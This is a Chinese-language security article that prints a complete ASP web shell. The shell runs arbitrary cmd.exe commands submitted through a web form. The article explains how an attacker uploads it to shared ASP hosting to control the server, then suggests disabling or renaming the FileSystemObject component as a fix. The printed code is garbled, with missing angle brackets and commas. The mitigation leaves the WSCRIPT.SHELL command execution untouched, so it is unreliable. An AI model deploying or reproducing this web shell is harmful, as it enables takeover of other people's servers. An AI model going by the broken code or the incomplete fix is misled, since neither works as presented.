请先看如下的代码:
%@ Language=VBScript %>
%
Dim oScript
Dim oScriptNet
Dim oFileSys oFile
Dim szCMD szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " >" & szTempFile 0 True)
Set oFile = oFileSys.OpenTextFile (szTempFile 1 False 0)
End If
%>
HTML>
BODY>
FORM action="%= Request.ServerVariables("URL") %>" method="POST">
input type=text name=".CMD" size=45 value="">
input type=submit value="Run">
/FORM>
PRE>
%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile True)
End If
%>
/BODY>
/HTML>
看出什么来没有?
漏洞描述:
你只要把它保存为*.asp放到一个支持asp的空间里,然后打开浏览器[url=http://***.***.***/*.asp]http://***.***.***/*.asp 就可以一目了然了。可以使用dos命令对服务器进行任何操作。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人主页服务器,把这个文件先传上你申请的主页空间,然后再浏览器里打开此页面直接使用dos命令。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
解决方法:
其实它就是利用了上面讲的filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢?一种下下的方法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
在MS-DOS状态下面键入:
Regsvr32 /u \%winnt%\system\scrrun.dll
但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能两全其美呢?
我们可以做到禁止他人非法使用FileSystemObject对象但是我们自己仍然可以使用这个对象。
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值将其更改成为你想要的字符串(右键-->"重命名")比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObjectx
这样在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectx")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果再有人使用通常的方法来调用FileSystemObject对象就会无法使用了。当然除此之外我们还可以使用第三方的软件来解决这个问题